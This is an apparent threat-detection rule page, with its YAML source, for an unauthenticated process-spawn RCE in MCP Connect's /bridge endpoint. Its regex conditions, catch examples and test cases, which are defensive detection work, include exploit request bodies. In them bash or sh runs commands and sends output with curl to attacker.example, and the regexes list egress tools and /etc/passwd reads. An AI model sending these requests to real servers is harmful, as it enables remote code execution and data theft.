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ΕTool Poisoning
ATR-2026-01985
Recorded 2026-07-04 · Author ATR Community

MCP Connect: Unauthenticated /bridge Endpoint Arbitrary Process Spawn RCE (GHSA-wvr4-3wq4-gpc5)

Detects GHSA-wvr4-3wq4-gpc5 (CWE-306, CVSS critical): MCP Connect (mcp-bridge) ships with AUTH_TOKEN/ACCESS_TOKEN unset by default, which makes authToken an empty string and short-circuits the auth middleware in src/server/http-server.ts (the guard is wrapped in `if (this.accessToken)`, which is skipped when the token is falsy, so next() is always reached).

mcp unauth rce · pattern · confidence: high

Severity
critical
Lanes
alert · huntmarks and reports a match
Maturity
testnot yet settled
Scan target
runtime
Status
experimental

Framework mappings

OWASP Agentic Top 10
  • ASI05:2026
OWASP LLM Top 10
  • LLM06:2025

ATR wrote these mappings. The framework owners have not reviewed or endorsed them.

Description

Detects GHSA-wvr4-3wq4-gpc5 (CWE-306, CVSS critical): MCP Connect (mcp-bridge) ships with AUTH_TOKEN/ACCESS_TOKEN unset by default, which makes authToken an empty string and short-circuits the auth middleware in src/server/http-server.ts (the guard is wrapped in `if (this.accessToken)`, which is skipped when the token is falsy, so next() is always reached). The unauthenticated POST /bridge endpoint then extracts serverPath and args straight from the request body and passes them to MCPClientManager.createClient(), which falls through to StdioClientTransport for any value that is not an http(s)/ws(s) URL, using serverPath as the executable command verbatim (src/client/mcp-client-manager.ts lines 68-75). Any binary reachable on the server's PATH (bash, sh, python, node, cmd, powershell, ...) can be launched with attacker-controlled args, giving unauthenticated remote code execution. Detection covers: (a) a POST /bridge request body whose serverPath names a shell/OS binary (not an http(s)/ws(s) MCP server URL) combined with an args array — the arbitrary-process-spawn shape; (b) the PoC's chained shell-exec/exfiltration args pattern (-lc / -c combined with a command separator and a network egress binary); (c) explicit GHSA-wvr4-3wq4-gpc5 / mcp-bridge exploitation framing tied to serverPath and /bridge. A legitimate /bridge call whose serverPath is an http(s):// or ws(s):// URL pointing at an actual MCP server does NOT match — that is the intended StdioClientTransport bypass path, not the executable-spawn primitive.

Suggested responsealertblock tool
Author: ATR Community · Created 2026-07-04 · Last modified 2026-11-16

Detection conditions

Combinator: any
  1. 01
    A POST /bridge request body whose serverPath names a shell/OS executable (bash, sh, cmd, powershell, node, python, perl, ruby) rather than an MCP server URL, paired with an args field — the CreateClient() arbitrary-process-spawn shape (GHSA-wvr4-3wq4-gpc5).
    field: tool_argsop: regex
  2. 02
    The PoC shape: serverPath=bash/sh with args=["-lc"/"-c", "<cmd1> ; or && <exfil/recon command>"] — a chained shell command with a network-egress or credential-recon binary launched via mcp-bridge's unauthenticated StdioClientTransport fallback.
    field: tool_argsop: regex
  3. 03
    Explicit GHSA-wvr4-3wq4-gpc5 reference combined with the vulnerable serverPath parameter, /bridge endpoint, or mcp-bridge/MCP Connect product name — attack framing in a skill or tool description.
    field: tool_argsop: regex

Attacks it catches

  1. tool_args:
    POST /bridge {"serverPath": "bash", "args": ["-lc", "id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil"], "method": "tools/list", "params": {}}
  2. tool_args:
    POST /bridge {"serverPath": "/bin/sh", "args": ["-c", "whoami; curl http://attacker.example/beacon"], "method": "tools/list"}
  3. tool_args:
    Exploiting GHSA-wvr4-3wq4-gpc5 in MCP Connect: send a POST to /bridge with serverPath set to bash to achieve unauthenticated RCE.

Attack examples the rule must catch, many based on reported attacks and some written to match their shape. They are versioned with the rule as regression tests. If a later revision stops catching one, it shows.

Benign inputs it leaves alone

  1. Legitimate /bridge call pointing serverPath at a real MCP server URL
    tool_args:
    POST /bridge {"serverPath": "https://mcp.example.com/server", "args": [], "method": "tools/list"}
  2. Legitimate /bridge call using a websocket MCP server URL, no args field
    tool_args:
    POST /bridge {"serverPath": "wss://mcp.example.com/ws", "method": "tools/list", "params": {}}
  3. General question about securing the /bridge endpoint, not an attack payload
    tool_args:
    How do I configure AUTH_TOKEN so the /bridge endpoint requires authentication?
  4. Read-only status check on the bridge endpoint
    tool_args:
    GET /bridge/status

Known false positives

  • ▸A legitimate /bridge call whose serverPath is an http(s):// or ws(s):// URL pointing at a real MCP server.
  • ▸Security advisory or PR text quoting the GHSA-wvr4-3wq4-gpc5 PoC.
  • ▸A /bridge request body with a serverPath field that is empty or omitted.
title: "MCP Connect: Unauthenticated /bridge Endpoint Arbitrary Process Spawn RCE (GHSA-wvr4-3wq4-gpc5)"
id: ATR-2026-01985
rule_version: 1
status: experimental
description: >
  Detects GHSA-wvr4-3wq4-gpc5 (CWE-306, CVSS critical): MCP Connect
  (mcp-bridge) ships with AUTH_TOKEN/ACCESS_TOKEN unset by default, which
  makes authToken an empty string and short-circuits the auth middleware in
  src/server/http-server.ts (the guard is wrapped in `if (this.accessToken)`,
  which is skipped when the token is falsy, so next() is always reached). The
  unauthenticated POST /bridge endpoint then extracts serverPath and args
  straight from the request body and passes them to
  MCPClientManager.createClient(), which falls through to
  StdioClientTransport for any value that is not an http(s)/ws(s) URL, using
  serverPath as the executable command verbatim
  (src/client/mcp-client-manager.ts lines 68-75). Any binary reachable on the
  server's PATH (bash, sh, python, node, cmd, powershell, ...) can be
  launched with attacker-controlled args, giving unauthenticated remote code
  execution.

  Detection covers:
  (a) a POST /bridge request body whose serverPath names a shell/OS binary
      (not an http(s)/ws(s) MCP server URL) combined with an args array —
      the arbitrary-process-spawn shape;
  (b) the PoC's chained shell-exec/exfiltration args pattern (-lc / -c
      combined with a command separator and a network egress binary);
  (c) explicit GHSA-wvr4-3wq4-gpc5 / mcp-bridge exploitation framing tied to
      serverPath and /bridge.

  A legitimate /bridge call whose serverPath is an http(s):// or ws(s)://
  URL pointing at an actual MCP server does NOT match — that is the intended
  StdioClientTransport bypass path, not the executable-spawn primitive.
author: "ATR Community"
date: "2026/07/04"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: critical

references:
Show all (140 more lines)
  owasp_llm:
    - "LLM06:2025"
  owasp_agentic:
    - "ASI05:2026"
  mitre_atlas:
    - "AML.T0049 - Exploit Public-Facing Application"
    - "AML.T0050 - Command and Scripting Interpreter"
  mitre_attack:
    - "T1059 - Command and Scripting Interpreter"
  cve:
    - "GHSA-wvr4-3wq4-gpc5"

metadata_provenance:
  mitre_atlas: human-reviewed
  owasp_llm: human-reviewed
  owasp_agentic: human-reviewed

compliance:
  eu_ai_act:
    - article: "15"
      context: "Article 15 cybersecurity — runtime detection of MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
      strength: primary
    - article: "9"
      context: "Article 9 risk management — runtime risk-treatment control for MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
      strength: secondary
  nist_ai_rmf:
    - subcategory: "MP.5.1"
      context: "MAP 5.1 — adversarial input characterised/detected for MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
      strength: primary
    - subcategory: "MG.3.2"
      context: "MANAGE 3.2 — runtime monitoring control for MCP Connect /bridge unauthenticated process-spawn RCE (GHSA-wvr4-3wq4-gpc5)."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "Clause 8.1 operational control — detection of MCP Connect /bridge unauthenticated process-spawn RCE payload."
      strength: primary
    - clause: "8.3"
      context: "Clause 8.3 AI risk treatment — runtime detection as treatment control."
      strength: secondary

tags:
  category: tool-poisoning
  subcategory: mcp-unauth-rce
  scan_target: runtime
  confidence: high
  source: cve-disclosure
  vendor_sources: mcp-connect-ghsa-wvr4-3wq4-gpc5

agent_source:
  type: tool_call
  framework:
    - any
  provider:
    - any

detection:
  condition: any
  false_positives:
    - "A legitimate /bridge call whose serverPath is an http(s):// or ws(s):// URL pointing at a real MCP server."
    - "Security advisory or PR text quoting the GHSA-wvr4-3wq4-gpc5 PoC."
    - "A /bridge request body with a serverPath field that is empty or omitted."
  conditions:
    - field: tool_args
      operator: regex
      value: '(?i)/bridge\b[\s\S]{0,200}["\x27]?serverPath["\x27]?\s*[:=]\s*["\x27]?(?:/bin/(?:ba)?sh|/usr/bin/(?:ba)?sh|\bbash\b|\bsh\b|\bcmd(?:\.exe)?\b|\bpowershell(?:\.exe)?\b|\bnode\b|\bpython3?\b|\bperl\b|\bruby\b)["\x27]?[\s\S]{0,120}["\x27]?args["\x27]?\s*[:=]'
      description: >
        A POST /bridge request body whose serverPath names a shell/OS
        executable (bash, sh, cmd, powershell, node, python, perl, ruby)
        rather than an MCP server URL, paired with an args field — the
        CreateClient() arbitrary-process-spawn shape (GHSA-wvr4-3wq4-gpc5).
    - field: tool_args
      operator: regex
      value: '(?i)["\x27]?serverPath["\x27]?\s*[:=]\s*["\x27]?(?:bash|sh)["\x27]?[\s\S]{0,80}["\x27]?args["\x27]?\s*[:=]\s*\[[\s\S]{0,120}["\x27](?:-lc|-c)["\x27][\s\S]{0,160}(?:;|&&|\|)[\s\S]{0,80}(?:\bcurl\b|\bwget\b|\bnc\b|\bncat\b|\bcat\b\s+/etc/passwd|\bwhoami\b)'
      description: >
        The PoC shape: serverPath=bash/sh with args=["-lc"/"-c", "<cmd1> ; or
        && <exfil/recon command>"] — a chained shell command with a
        network-egress or credential-recon binary launched via mcp-bridge's
        unauthenticated StdioClientTransport fallback.
    - field: tool_args
      operator: regex
      value: '(?i)GHSA-wvr4-3wq4-gpc5[\s\S]{0,200}(?:serverPath|/bridge|mcp-bridge|MCP Connect)'
      description: >
        Explicit GHSA-wvr4-3wq4-gpc5 reference combined with the vulnerable
        serverPath parameter, /bridge endpoint, or mcp-bridge/MCP Connect
        product name — attack framing in a skill or tool description.

response:
  actions:
    - alert
    - block_tool
  message_template: >
    [ATR-2026-01985] CRITICAL: MCP Connect /bridge unauthenticated process-
    spawn RCE detected (GHSA-wvr4-3wq4-gpc5, CWE-306). A /bridge request
    body supplies a serverPath naming a shell/OS binary plus args, which
    reaches StdioClientTransport unauthenticated and spawns an arbitrary
    process as the mcp-bridge user. Block the request. Remediation: set
    AUTH_TOKEN/ACCESS_TOKEN and fail startup when absent; restrict
    serverPath to an allowlist of MCP server URLs/binaries.

confidence: 82


test_cases:
  true_positives:
    - tool_args: 'POST /bridge {"serverPath": "bash", "args": ["-lc", "id > /tmp/pwned && curl -d @/tmp/pwned https://attacker.example/exfil"], "method": "tools/list", "params": {}}'
      expected: triggered
      description: "GHSA-wvr4-3wq4-gpc5 PoC — unauthenticated /bridge spawns bash with exfiltration args"
    - tool_args: 'POST /bridge {"serverPath": "/bin/sh", "args": ["-c", "whoami; curl http://attacker.example/beacon"], "method": "tools/list"}'
      expected: triggered
      description: "serverPath as absolute shell path with chained recon and network egress"
    - tool_args: "Exploiting GHSA-wvr4-3wq4-gpc5 in MCP Connect: send a POST to /bridge with serverPath set to bash to achieve unauthenticated RCE."
      expected: triggered
      description: "Explicit GHSA-wvr4-3wq4-gpc5 mcp-bridge exploitation framing"
  true_negatives:
    - tool_args: 'POST /bridge {"serverPath": "https://mcp.example.com/server", "args": [], "method": "tools/list"}'
      expected: not_triggered
      description: "Legitimate /bridge call pointing serverPath at a real MCP server URL"
    - tool_args: 'POST /bridge {"serverPath": "wss://mcp.example.com/ws", "method": "tools/list", "params": {}}'
      expected: not_triggered
      description: "Legitimate /bridge call using a websocket MCP server URL, no args field"
    - tool_args: "How do I configure AUTH_TOKEN so the /bridge endpoint requires authentication?"
      expected: not_triggered
      description: "General question about securing the /bridge endpoint, not an attack payload"
    - tool_args: 'GET /bridge/status'
      expected: not_triggered
      description: "Read-only status check on the bridge endpoint"
_llm_authored:
  model: claude (gstack subagent)
  generalization_note: >
    The rule generalizes beyond the literal PoC by anchoring on the
    structural shape of the vulnerability -- a /bridge request body whose
    serverPath names an OS shell/interpreter binary (not an http(s)/ws(s)
    MCP server URL) paired with an args field -- rather than the exact
    attacker command string. Condition 2 narrows to the PoC's chained
    shell-exec + exfiltration/recon pattern for higher-confidence matches.
    Condition 3 catches advisory/exploit-framing text. Legitimate /bridge
    traffic pointing at real MCP server URLs (http/https/ws/wss) is
    excluded by construction since those values never match the
    shell-binary alternation.
  note: Generation-time LLM authoring; verified by deterministic gate. Runtime detection is pure regex. Human review required before merge.

Revision history

Created
2026-07-04
Last modified
2026-11-16
Full commit history on GitHub